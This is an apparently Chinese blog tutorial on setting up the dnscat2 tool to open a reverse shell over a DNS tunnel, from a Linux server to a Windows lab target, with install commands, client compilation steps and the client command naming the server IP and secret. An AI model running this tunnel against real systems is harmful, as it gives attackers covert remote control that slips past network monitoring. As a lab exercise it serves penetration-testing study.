使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
CrazyMo_2 小时前
鸿蒙高级——内存专用之linux-reserve-memory 方案简介
linux·运维·服务器
Sammyyyyy2 小时前
jev-ultrafast 实战:浏览器操作代理加本地 AI 网关,把云控制台配置做成自动化流水线
运维·人工智能·自动化·ai编程·servbay
看着博客敲代码2 小时前
GitLab CVE-2026-85706 未授权任意文件读取漏洞排查与修复
安全·web安全·网络安全
灯澜忆梦2 小时前
【Linux】#5 | 文件与目录基础操作命令
java·linux·运维
逐梦之程2 小时前
EXCEL与DBC格式互转软件
运维·服务器·网络
yychen_java2 小时前
第十二篇:完整项目实战——构建可验证的能源智能运维 Agent 中枢
运维·人工智能·能源
pencek2 小时前
MazeSec-Banner
网络安全
9624562 小时前
餐饮 SaaS 优惠券系统架构演进(七)营销定价引擎设计:活动、会员价、优惠券、买赠如何在同一 PriceQuote 中可解释地组合
java·运维·算法
Frank_refuel3 小时前
分布式IoT数据采集与存储系统(项目复盘)
运维·服务器
wuminyu3 小时前
stackChunkOop内部结构与GC屏障的配合工作原理剖析
java·linux·c语言·jvm·c++